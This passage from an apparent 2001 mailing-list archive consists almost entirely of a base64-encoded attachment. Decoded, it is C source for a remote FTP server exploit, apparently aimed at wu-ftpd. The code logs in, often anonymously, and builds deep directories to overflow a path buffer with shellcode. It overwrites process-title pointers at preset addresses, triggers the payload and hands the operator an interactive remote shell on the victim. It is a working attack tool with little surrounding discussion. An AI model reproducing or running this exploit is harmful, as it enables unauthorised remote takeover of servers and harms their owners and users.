    cmdldCwgbWU7CiAgc3RydWN0IGhvc3RlbnQgKmhlOwogIGludCBtZV9sZW47
    CgogIC8qIENvbm5lY3QgdG8gdmljdGltICovCiAgbWVtc2V0KCZ0YXJnZXQs
    IDAsIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHJfaW4pKTsKICB0YXJnZXQuc2lu
    X2ZhbWlseT1BRl9JTkVUOwogIGlmKCFpbmV0X2F0b24odGFyZ2V0X2hvc3Qs
    ICZ0YXJnZXQuc2luX2FkZHIpKSB7CiAgICBpZighKGhlPWdldGhvc3RieW5h
    bWUodGFyZ2V0X2hvc3QpKSkKICAgICAgYmFpbGUoIlVuYWJsZSB0byByZXNv
    bHZlIHZpY3RpbSBob3N0bmFtZS4iKTsKICAgIG1lbWNweSgoY2hhciAqKSZ0
    YXJnZXQuc2luX2FkZHIsIGhlLT5oX2FkZHIsIGhlLT5oX2xlbmd0aCk7CiAg
    fQogIHRhcmdldC5zaW5fcG9ydD1odG9ucyh0YXJnZXRfcG9ydCk7CiAgaWYo
    KGZkPXNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCkpPDApIGJhaWxl
    KCJzb2NrZXQoKSBmYWlsZWQiKTsKICBpZihjb25uZWN0KGZkLCAmdGFyZ2V0
    LCBzaXplb2YodGFyZ2V0KSkpIGJhaWxlKCJjb25uZWN0KCkgZmFpbGVkIik7
    CiAgCiAgLyogR2V0IGxvY2FsIGhvc3RuYW1lICovCiAgbWVfbGVuPXNpemVv
    ZihtZSk7CiAgaWYoZ2V0c29ja25hbWUoZmQsICZtZSwgJm1lX2xlbikpCiAg
    ICBiYWlsZSgiVW5hYmxlIHRvIGRldGVybWluZSBsb2NhbCBob3N0bmFtZSEi
    KTsKICBpZigoaGU9Z2V0aG9zdGJ5YWRkcigoY2hhciAqKSZtZS5zaW5fYWRk
    ciwgc2l6ZW9mKG1lLnNpbl9hZGRyKSwgQUZfSU5FVCkpKQogICAgbG9jYWxf
    aG9zdG5hbWU9c3RyZHVwKGhlLT5oX25hbWUpOwogIGVsc2UgaWYoKHA9aW5l
    dF9udG9hKG1lLnNpbl9hZGRyKSkpIHsKICAgIHN0cmNweShsb2NhbF9ob3N0
    bmFtZSwgcCk7CiAgfQogIGVsc2UKICAgIGJhaWxlKCJVbmFibGUgdG8gZGV0
    ZXJtaW5lIGxvY2FsIGhvc3RuYW1lISIpOwoKICBwcmludGYoIioqKiBMb2Nh
    bCBob3N0bmFtZTogJXNcbiIsIGxvY2FsX2hvc3RuYW1lKTsKICByZXR1cm4g
    ZmQ7Cn0KCgpjaGFyICpnZXRfcmVzcG9uc2Vfc3RyKCkgewogIHN0YXRpYyBj
    aGFyIGJ1ZlsxNjM4NF07IC8qIFllciBsZWV0LWhhY2tlZC11cCBmdHBkIGNh
    biAwd24gdGhlIHNwbG9pdGVyIEJdICovCiAgY2hhciAqcDsKCiAgcD1idWY7
    CiAgd2hpbGUocmVhZChjdHJsLCBwLCAxKSA9PSAxKSB7CiAgICBpZigqcCA9
    PSAnXHInKSB7CiAgICAgICpwKys9MDsKICAgICAgd2hpbGUocmVhZChjdHJs
    LCBwLCAxKSA9PSAxICYmICpwICE9ICdcbicpCgk7CiAgICAgIGlmKGJ1Zlsz
    XSA9PSAnICcpIHsKCWlmKHZlcmJvc2UgPT0gMSkKCSAgcHJpbnRmKCIlNC40
    c1xuIiwgYnVmKTsKCWVsc2UgaWYodmVyYm9zZSA+PSAyKQoJICBwcmludGYo
    IiVzXG4iLCBidWYpOwoJICAKCXJldHVybiBidWY7CiAgICAgIH0KICAgICAg
    cD1idWY7CiAgICAgIGNvbnRpbnVlOwogICAgfQogICAgKytwOwogIH0KICBi
    YWlsKCJTZXJ2ZXIgZGlzY29ubmVjdGVkLiIpOwogIHJldHVybiAwOyAvKiBO
    ZXZlciByZWFjaGVkICovCn0KCgppbnQgZ2V0X3Jlc3BvbnNlKCkgewogIGNo
    YXIgKnM7CgogIHM9Z2V0X3Jlc3BvbnNlX3N0cigpOwogIGlmKCFpc2RpZ2l0
    KHNbMF0pIHx8ICFpc2RpZ2l0KHNbMV0pIHx8IWlzZGlnaXQoc1syXSkpCiAg
    ICBiYWlsKCJJbGxlZ2FsIHJlc3BvbnNlIGZyb20gc2VydmVyLiIpOwogIHJl
    dHVybiBhdG9pKHMpOwp9CgoKdm9pZCBzZW5kX2NvbW1hbmQodW5zaWduZWQg
    Y2hhciAqY21kKSB7CiAgaWYodmVyYm9zZSA9PSAxKSBwcmludGYoIi0tPiAl
    NC40c1xuIiwgY21kKTsKICBpZih2ZXJib3NlID49IDIpIHByaW50ZigiLS0+
    ICVzXG4iLCBjbWQpOwogIHdoaWxlKCpjbWQpIHsKICAgIGlmKHdyaXRlKGN0
    cmwsIGNtZCwgMSkgIT0gMSkgYmFpbGUoIndyaXRlIGZhaWxlZCIpOwogICAg
    aWYoKmNtZCA9PSAweGZmKSAvKiAweGZmIC0+IElBQyBJQUMgKi8KICAgICAg
    aWYod3JpdGUoY3RybCwgY21kLCAxKSAhPSAxKSBiYWlsZSgid3JpdGUgZmFp
    bGVkIik7CiAgICArK2NtZDsKICB9CiAgaWYod3JpdGUoY3RybCwgIlxyXG4i
    LCAyKSAhPSAyKQogICAgYmFpbGUoIndyaXRlIGZhaWxlZCIpOwp9CgoKaW50
    IG1rZF9jd2QoY2hhciAqZGlyKSB7CiAgY2hhciBidWZbMTAyNF07CiAgaW50
    IHI7CgogIHNwcmludGYoYnVmLCAiTUtEICVzIiwgZGlyKTsKICBzZW5kX2Nv
    bW1hbmQoYnVmKTsKICByPWdldF9yZXNwb25zZSgpOwogIGlmKHIgIT0gIDI1
    NyAmJiByICE9IDUyMSkgeyAKICAgIHByaW50ZigiKioqIEZhaWxlZCB0byBj
    cmVhdGUgZGlyIChyZXBseT0lZClcbiIsIHIpOwogICAgYmFpbCgiQWJvcnRp
    bmcuIik7CiAgfQogIHNwcmludGYoYnVmLCAiQ1dEICVzIiwgZGlyKTsKICBz
    ZW5kX2NvbW1hbmQoYnVmKTsKICByPWdldF9yZXNwb25zZSgpOwogIGlmKHIg
    IT0gMjUwICYmIG1rZF9jd2RfYmFpbF9vbl9lcnJvcikgYmFpbCgiQ1dEIGZh
    aWxlZC4iKTsKICByZXR1cm4gcjsKfQoKCi8qIHVwZGF0ZV9idWZmZXIoKSAr
    IHNob3ZlbF9kYXRhKCkgbW92ZXMgZGF0YSBiZXR3ZWVuIHRoZSBzaGVsbCBh
    bmQgdGhlCiAqIGxvY2FsIHRlcm1pbmFsLgogKi8KCiNkZWZpbmUgQlVGU0la
    RSAxMjgKCmludCB1cGRhdGVfYnVmZmVyKGNoYXIgKmJ1ZiwgaW50ICppZHgs
    IGludCB0aGlzb25lLCBpbnQgZGlyZWN0aW9uKSB7CiAgaWYodGhpc29uZSA8
    IDApIHsKICAgIGlmKGVycm5vID09IEVJTlRSIHx8IGVycm5vID09IEVXT1VM
    REJMT0NLKQogICAgICByZXR1cm4gMDsKICAgIHJldHVybiAxOwogIH0KICBp
    ZighdGhpc29uZSkKICAgIHJldHVybiAxOwogIGlmKGRpcmVjdGlvbiA8IDAp
    IHsKICAgIGlmKHRoaXNvbmUgPCAqaWR4KQogICAgICBtZW1tb3ZlKGJ1Ziwg
    JmJ1Zlt0aGlzb25lXSwgKmlkeC10aGlzb25lKTsKICAgICppZHgtPXRoaXNv
    bmU7CiAgfQogIGVsc2UKICAgICppZHgrPXRoaXNvbmU7CiAgcmV0dXJuIDA7
    Cn0KCgp2b2lkIHNob3ZlbF9kYXRhKGludCBuZXRmZCkgewogIGZkX3NldCBS
    LFc7CiAgY2hhciBvYnVmW0JVRlNJWkVdLCBpYnVmW0JVRlNJWkVdOwogIGlu
    dCBvLCBpOwogIGludCBkb25lOwogIAogIGZjbnRsKFNURElOX0ZJTEVOTywg
    Rl9TRVRGTCwgT19OT05CTE9DSyk7CiAgZmNudGwoU1RET1VUX0ZJTEVOTywg
    Rl9TRVRGTCwgT19OT05CTE9DSyk7CiAgZmNudGwobmV0ZmQsIEZfU0VURkws
    IE9fTk9OQkxPQ0spOwogIAogIG89aT1kb25lPTA7CiAgd2hpbGUoIWRvbmUp
    IHsKICAgIEZEX1pFUk8oJlIpOyBGRF9aRVJPKCZXKTsKICAgIGlmKGkgPiAw
    KSBGRF9TRVQoU1RET1VUX0ZJTEVOTywgJlcpOwogICAgaWYoaSA8IEJVRlNJ
    WkUpIEZEX1NFVChuZXRmZCwgJlIpOwogICAgaWYobyA+IDApIEZEX1NFVChu
    ZXRmZCwgJlcpOwogICAgaWYobyA8IEJVRlNJWkUpIEZEX1NFVChTVERJTl9G
    SUxFTk8sICZSKTsKICAgIAogICAgc2VsZWN0KG5ldGZkKzEsICZSLCAmVywg
    MCwgMCk7CiAgICAKICAgIGlmKEZEX0lTU0VUKFNURE9VVF9GSUxFTk8sICZX
    KSkKICAgICAgZG9uZXw9dXBkYXRlX2J1ZmZlcihpYnVmLCAmaSwgd3JpdGUo
    U1RET1VUX0ZJTEVOTywgaWJ1ZiwgaSksIC0xKTsKICAgIGlmKEZEX0lTU0VU
    KG5ldGZkLCAmVykpCiAgICAgIGRvbmV8PXVwZGF0ZV9idWZmZXIob2J1Ziwg
    Jm8sIHdyaXRlKG5ldGZkLCBvYnVmLCBvKSwgLTEpOwogICAgaWYoRkRfSVNT
    RVQoU1RESU5fRklMRU5PLCAmUikpCiAgICAgIGRvbmV8PXVwZGF0ZV9idWZm
    ZXIob2J1ZiwgJm8sIHJlYWQoU1RESU5fRklMRU5PLCAmb2J1ZltvXSwgQlVG
    U0laRS1vKSwxKTsKICAgIGlmKEZEX0lTU0VUKG5ldGZkLCAmUikpCiAgICAg
    IGRvbmV8PXVwZGF0ZV9idWZmZXIoaWJ1ZiwgJmksIHJlYWQobmV0ZmQsICZp
    YnVmW2ldLCBCVUZTSVpFLWkpLCAxKTsKICB9Cn0KCgovKiBEbyB0aGUgc3R1
    ZmYgY29tbW9uIHRvIHRoZSBhdHRhY2tzICovCgppbnQgZG9fcHJvbG9ndWUo
    KSB7CiAgY2hhciBidWZbMTAyNF07CiAgY2hhciAqcywgKnQ7CiAgaW50IHBv
    czsKCiAgdmVyYm9zZT0yOwogIG1rZF9jd2RfYmFpbF9vbl9lcnJvcj0xOwoK
    ICBpZihnZXRfcmVzcG9uc2UoKSAhPSAyMjApIGJhaWwoIk5vIHdlbGNvbWUg
    YmFubmVyLiIpOwogIHNwcmludGYoYnVmLCAiVVNFUiAlcyIsIHRhcmdldF91
    c2VyKTsKICBzZW5kX2NvbW1hbmQoYnVmKTsKICBpZihnZXRfcmVzcG9uc2Uo
    KSAhPSAzMzEpIGJhaWwoIlVTRVIgZmFpbGVkLiIpOwogIHNwcmludGYoYnVm
    LCAiUEFTUyAlcyIsIHRhcmdldF9wYXNzKTsKICBzZW5kX2NvbW1hbmQoYnVm
    KTsKICBpZihnZXRfcmVzcG9uc2UoKSAhPSAyMzApIGJhaWwoIlBBU1MgZmFp
    bGVkLiIpOwogIGlmKHRhcmdldF9kaXIpIHsKICAgIHNwcmludGYoYnVmLCAi
    Q1dEICVzIiwgdGFyZ2V0X2Rpcik7CiAgICBzZW5kX2NvbW1hbmQoYnVmKTsK
    ICAgIGlmKGdldF9yZXNwb25zZSgpICE9IDI1MCkgYmFpbCgiQ1dEIDx3cml0
    YWJsZSBkaXI+IGZhaWxlZC4iKTsKICB9CiAgc2VuZF9jb21tYW5kKCJQV0Qi
    KTsKICBzPWdldF9yZXNwb25zZV9zdHIoKTsKICBpZihzdHJuY21wKCIyNTcg
    XCIiLCBzLCA1KSB8fCAhKHQ9c3RyY2hyKCZzWzVdLCAnIicpKSkKICAgIGJh
    aWwoIlVuYWJsZSB0byBnZXQgY3VycmVudCBkaXJlY3RvcnkuIik7CgogIC8q
    IFBvcyBpcyBob3cgbXVjaCBvZiBtYXBwZWRfcGF0aCBpcyB1c2VkIHNvIGZh
    ciAoZXhjbHVkaW5nIE5VTEwpICovCiAgcG9zPSh0LShzKzUpKTsKCiAgcHJp
    bnRmKCIqKiogQ3JlYXRpbmcgZGVlcCBkaXJlY3RvcnkuIFRoaXMgbWF5IHRh
    a2Ugc29tZSB0aW1lLi4uXG4iKTsKICB2ZXJib3NlPTA7CgogIC8qIEFsaWdu
    IHRvIDI1NiBieXRlcyAoZXhjbHVkaW5nIHRyYWlsaW5nIC8pICovCiAgbWVt
    c2V0KGJ1ZiwgJ0EnLCBzaXplb2YoYnVmKSk7CiAgYnVmWzI1Ni0ocG9zKzEp
    XT0wOwogIG1rZF9jd2QoYnVmKTsKICBwb3MrPTErc3RybGVuKGJ1Zik7Cgog
    IC8qIEtlZXAgZ29pbmcgKi8KICBtZW1zZXQoYnVmLCAnQScsIHNpemVvZihi
    dWYpKTsKICBidWZbMjU1XT0wOwogIHdoaWxlKHBvcysyNTUgPCBtYXBwZWRf
    cGF0aF9zaXplLTI1NioyKSB7CiAgICBta2RfY3dkKGJ1Zik7CiAgICBwb3Mr
    PTErc3RybGVuKGJ1Zik7CiAgfQoKICBwcmludGYoIioqKiBUaW1lIHRvIGJy
    aW5nIG91dCB0aGUgYzBkZS4uLlxuIgoJICIqKiogUmVwbHkgY29kZXM6IDI1
    MD1PSywgNTIxPUV4aXN0cywgMjU3PUNyZWF0ZWQsIDV4eD1GYWlsZWRcbiIp
    OwogIHZlcmJvc2U9MTsKCiAgLyogYWxhcm0oMCkgQn0gKi8KICAvKiBjMGRl
    WzEzMV09YzBkZVsxMzJdPWMwZGVbMjU1XTsgKi8KCiAgLyogRmlyc3QgcGFy
    dCBvZiB0aGUgY29kZSAqLwogIHN0cm5jcHkoYnVmLCBjMGRlLCAyNTUpOwog
    IGJ1ZlsyNTVdPTA7CiAgbWtkX2N3ZChidWYpOwogIHBvcys9MSsyNTU7Cgog
    IC8qIFNlY29uZCBwYXJ0ICsgcGFkICovCiAgbWVtc2V0KGJ1ZiwgJ0EnLCBz
    aXplb2YoYnVmKSk7CiAgc3RybmNweShidWYsIGMwZGUrMjU2LCBDMERFX1NJ
    WkUtMjU2KTsKICBidWZbMjU1LTEyLTFdPTA7CiAgbWtkX2N3ZChidWYpOwog
    IHBvcys9MStzdHJsZW4oYnVmKTsKCiAgLyogU29mYXIgbW1hcGVkX3BhdGhf
    c2l6ZS0xMiBieXRlcyBvZiBtYXBwZWRfcGF0aCBpcyB1c2VkIChpbmNsdWRp
    bmcgbnVsbCkgKi8KCiAgcmV0dXJuIHBvczsKfQoKCnZvaWQgYXR0YWNrX2Fu
    b24oKSB7CiAgY2hhciBidWZbMTAyNF07CiAgaW50IHBvczsKCiAgaWYodGFy
    Z2V0X3VzZXIgfHwgdGFyZ2V0X3Bhc3MpCiAgICBiYWlsKCJTb3JyeSwgdGhp
    cyB0eXBlIG9ubHkgd29ya3MgZm9yIGFub255bW91cyBGVFAuLi4iKTsKCiAg
    cHJpbnRmKCIqKiogTG9nZ2luZyBpbiBhcyBhbm9ueW1vdXMuXG4iKTsKCiAg
    Y3RybD1jb25uZWN0X2hvc3QoKTsKCiAgLyogQ2FsY3VsYXRlIG9mZnNldHMg
    Ki8gCiAgYzBkZV9hZGRyPW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3NpemUt
    MjU1LTI1NjsKICBvd25lZF9Bcmd2PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRo
    X3NpemUtODsKICBvd25lZF9MYXN0QXJndj1laXBfYWRkcis0KzI7IC8qICsy
    IGJlY2F1c2Ugc3B0KCkgd29ya3MgdGhhdCB3YXkgKi8KICAvKiAiZnRwZDog
    PGhvc3Q+OiBhbm9ueW1vdXMvIiAqLwogIG93bmVkX0FyZ3YwPWVpcF9hZGRy
    LSg2K3N0cmxlbihsb2NhbF9ob3N0bmFtZSkrMTIpOwoKICB0YXJnZXRfdXNl
    cj0iYW5vbnltb3VzIjsKICBzcHJpbnRmKGJ1ZiwgIiVzQHR0YS5jayIsIGh0
    b2xfTEVzdHIoYzBkZV9hZGRyKSk7CiAgdGFyZ2V0X3Bhc3M9YnVmOwogIAog
    IHBvcz1kb19wcm9sb2d1ZSgpOwoKICAvKiBUaGlzIGxhc3QgYmxvY2sgc3Rh
    cnRzIGF0IG1hcHBlZF9wYXRoW21hcHBlZF9wYXRoX3NpemUtMTJdICovCiAg
    bWVtc2V0KGJ1ZiwgJ0EnLCBzaXplb2YoYnVmKSk7CiAgLyogU2tpcCBlZWVl
    IGZvciB0aGlzIG1ldGhvZCAqLwogIHN0cm5jcHkoYnVmKzQsIGh0b2xfTEVz
    dHIob3duZWRfQXJndjApLCA0KTsKICAvKiBTa2lwIHNpemVvZihvd25lZF9B
    cmd2MSkrc2l6ZW9mKG9uZWZpbGUpID0gNCs4ICovCiAgc3RybmNweShidWYr
    NCs0KzQrOCwgaHRvbF9MRXN0cihvd25lZF9Bcmd2KSwgNCk7CiAgc3RyY3B5
    KCBidWYrNCs0KzQrOCs0LCBodG9sX0xFc3RyKG93bmVkX0xhc3RBcmd2KSk7
    CiAgcG9zKz0xK3N0cmxlbihidWYpOwoKICBwcmludGYoIioqKiBUb3RhbCBl
    Z2cgc2l6ZSBpcyAlZC4gU2VuZGluZyBmaW5hbCBjb21wb25lbnQuXG4iLCBw
    b3MpOwogIG1rZF9jd2RfYmFpbF9vbl9lcnJvcj0wOyAvKiBJZ25vcmUgdGhl
    IGZpbmFsIENXRCByZXR1cm4gY29kZSAqLwogIG1rZF9jd2QoYnVmKTsKICBw
    cmludGYoIioqKiBOMHcgdzB1MWQgYjMgNCBnMDBkIDcxbTMgNzAgZzAgNTRj
    UjFmMWMzIDQgZzA0NyA0bkRcbiIKCSAiKioqIHByNFkgdDAgN2gzIGcwRCAw
    ZiAwZmY1Mzd6Li4uXG5cbiIpOwogIC8qIENhdXNlIGxvbmdqbXAoZXJyY2F0
    Y2gpIC0gb25seSBuZWVkZWQgZm9yIHRoZSBlcnJjYXRjaCBtZXRob2QgKi8K
    ICB3cml0ZShjdHJsLCAiTVJDUFxyXG4iLCA2KTsKfQoKCnZvaWQgYXR0YWNr
    X2FueSgpIHsKICBjaGFyIGJ1ZlsxMDI0XTsKICBpbnQgcG9zOwogIGludCBw
    cmVmaXhsZW47CgogIGlmKCF0YXJnZXRfdXNlciB8fCAhdGFyZ2V0X3Bhc3Mp
    IHsKICAgIHRhcmdldF91c2VyPSJhbm9ueW1vdXMiOwogICAgdGFyZ2V0X3Bh
    c3M9ImNyQGNrLmVyIjsKICAgIHByaW50ZigiKioqIExvZ2dpbmcgaW4gYXMg
    YW5vbnltb3VzLlxuIik7CiAgfQogIAogIGN0cmw9Y29ubmVjdF9ob3N0KCk7
    CgogIC8qIENhbGN1bGF0ZSBvZmZzZXRzICovCiAgYzBkZV9hZGRyPW1hcHBl
    ZF9wYXRoK21hcHBlZF9wYXRoX3NpemUtMjU1LTI1NjsKICBvd25lZF9Bcmd2
    PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3NpemUtODsKICAvKiAiZnRwZDog
    PGhvc3Q+OiA8dXNlcj46IENXRCAiICovCiAgcHJlZml4bGVuPTE0K3N0cmxl
    bihsb2NhbF9ob3N0bmFtZSkrc3RybGVuKHRhcmdldF91c2VyKTsKICAKICAv
    KiAnYW5vbnltb3VzLycgcGFzcyAqLwogIGlmKCFzdHJjbXAodGFyZ2V0X3Vz
    ZXIsICJmdHAiKSB8fCAhc3RyY21wKHRhcmdldF91c2VyLCAiYW5vbnltb3Vz
    IikpCiAgICBwcmVmaXhsZW4rPXN0cmxlbih0YXJnZXRfcGFzcykrMS1zdHJs
    ZW4odGFyZ2V0X3VzZXIpKzk7CiAgCiAgcG9zPWRvX3Byb2xvZ3VlKCk7Cgog
    IC8qIEZpcnN0IENXRCAqLwogIG93bmVkX0FyZ3YwPWVpcF9hZGRyLXByZWZp
    eGxlbjsKICBvd25lZF9Bcmd2PW1hcHBlZF9wYXRoK21hcHBlZF9wYXRoX3Np
    emUtODsKICBvd25lZF9MYXN0QXJndj1laXBfYWRkcis0KzI7IC8qICsyIGJl
    Y2F1c2Ugc3B0KCkgd29ya3MgdGhhdCB3YXkgKi8KCiAgbWVtc2V0KGJ1Ziwg
    J0EnLCBzaXplb2YoYnVmKSk7CiAgc3RybmNweShidWYrNCwgaHRvbF9MRXN0
    cihvd25lZF9Bcmd2MCksIDQpOwogIHN0cm5jcHkoYnVmKzQrNCs0KzgsIGh0
    b2xfTEVzdHIob3duZWRfQXJndiksIDQpOwogIHN0cmNweSggYnVmKzQrNCs0
    KzgrNCwgaHRvbF9MRXN0cihvd25lZF9MYXN0QXJndikpOwogIHBvcys9MStz
    dHJsZW4oYnVmKTsKICBwcmludGYoIioqKiBUb3RhbCBlZ2cgc2l6ZSBpcyAl
    ZC4gU2VuZGluZyAyeCBjb21iby5cbiIsIHBvcyk7CiAgdmVyYm9zZT0xOwog
    IHByaW50ZigiKioqIFJvdW5kLWhvdXNlIGtpY2suXG4iKTsKCiAgbWtkX2N3
    ZF9iYWlsX29uX2Vycm9yPTA7IC8qIElnbm9yZSB0aGUgQ1dEIHJldHVybiBj
    b2RlICovCiAgaWYobWtkX2N3ZChidWYpID09IDI1MCkgewogICAgc2VuZF9j
    b21tYW5kKCJDV0QgLi4iKTsgLyogQmFjayB1cCBpZiB0aGUgY2hkaXIoKSB3
    YXMgc3VjY2Vzc2Z1bCAqLwogICAgZ2V0X3Jlc3BvbnNlKCk7CiAgfQoKICAv
    KiBTZWNvbmQgQ1dELgogICAqCiAgICogQm9ycm93IHNvbWUgcm9vbSBuZWFy
    IFRPUF9PRl9TVEFDSyAoImZyZWUgc3BhY2UiKSBhcyBhIHNhZmUgcGxhY2Ug
    Zm9yCiAgICogdGhlIHJlbWFpbmluZyB0aW1lcyBzZXRwcm9jdGl0bGUoKSBp
    cyBjYWxsZWQuCiAgICovCiAgb3duZWRfQXJndjA9VE9QX09GX1NUQUNLLTg7
    CiAgb3duZWRfTGFzdEFyZ3Y9VE9QX09GX1NUQUNLLTE7CgogIHN0cm5jcHko
    YnVmLCBodG9sX0xFc3RyKGMwZGVfYWRkciksIDQpOwogIHN0cm5jcHkoYnVm
    KzQsIGh0b2xfTEVzdHIob3duZWRfQXJndjApLCA0KTsKICBzdHJjcHkoIGJ1
    Zis0KzQrNCs4KzQsIGh0b2xfTEVzdHIob3duZWRfTGFzdEFyZ3YpKTsKCiAg
    cHJpbnRmKCIqKiogRWxpdGUtYWlyYm9ybmUtZG91YmxlLWtpY2stdG8tdGhl
    LWhlYWQgYXMgZmVhdHVyZWQgaW4gIgoJICJUaGUgTWF0cml4LlxuIik7CiAg
    bWtkX2N3ZChidWYpOwoKICBwcmludGYoIioqKiBUcmlnZ2VyaW5nIGMwZGUu
    IEszM1AgeTNSIGYxTmc0eiBYLTNkIVxuIik7CiAgd3JpdGUoY3RybCwgIk1S
    Q1BcclxuIiwgNik7IC8qIENhdXNlIGxvbmdqbXAoZXJyY2F0Y2gpICovICAK
    fQoKCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsKICBpbnQg
    aTsKCiAgaWYoYXJnYyAhPSAzIHx8ICFpc2RpZ2l0KCphcmd2WzJdKSkgdXNh
    Z2UoKTsKICAKICBwYXJzZV91cmwoYXJndlsxXSk7CgogIC8qIEZpbmQgdGhl
    IHByZXNldCAqLwogIGZvcihpPTA7IHByZXNldHNbaV0uZGVzYzsgKytpKSB7
    CiAgICBpZihpPT1hdG9pKGFyZ3ZbMl0pKQogICAgICBicmVhazsKICB9CiAg
    aWYoIXByZXNldHNbaV0ubXBzaXplKSBiYWlsKCJObyBzdWNoIHRhcmdldCB0
    eXBlLiIpOwogIAogIG1hcHBlZF9wYXRoX3NpemU9cHJlc2V0c1tpXS5tcHNp
    emU7CiAgbWFwcGVkX3BhdGg9cHJlc2V0c1tpXS5tcDsKICBlaXBfYWRkcj1w
    cmVzZXRzW2ldLmVpcF9hZGRyOwoKICAocHJlc2V0c1tpXS5hdHRhY2spKCk7
    CgogIHNpZ25hbChTSUdJTlQsIFNJR19JR04pOyAgICAvKiBHZXQgcmlkIG9m
    IGFjY2lkZW50YWwgY3RybC1DICovCiAgd3JpdGUoY3RybCwgImlkXG4iLCAz
    KTsgICAgIC8qIGFzc2VydCgwd25hZ2UpICovCiAgc2hvdmVsX2RhdGEoY3Ry
    bCk7CiAgd3JpdGUoY3RybCwgIlxuZXhpdFxuIiwgNik7IC8qIEV4dHJhIHNh
    ZmVndWFyZCBpbiBjYXNlIHVzZXIgaGl0cyBjdHJsLUQgKi8KCiAgcHJpbnRm
    KCJcbioqKiBJIGhvcGUgeW91IGJlaGF2ZWQuLi5cbioqKlxuKioqIG51dUJc
    biIpOwogIHJldHVybiAwOwp9Cg==
    
    --0-424238335-943467224=:22389--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:14:21 PDT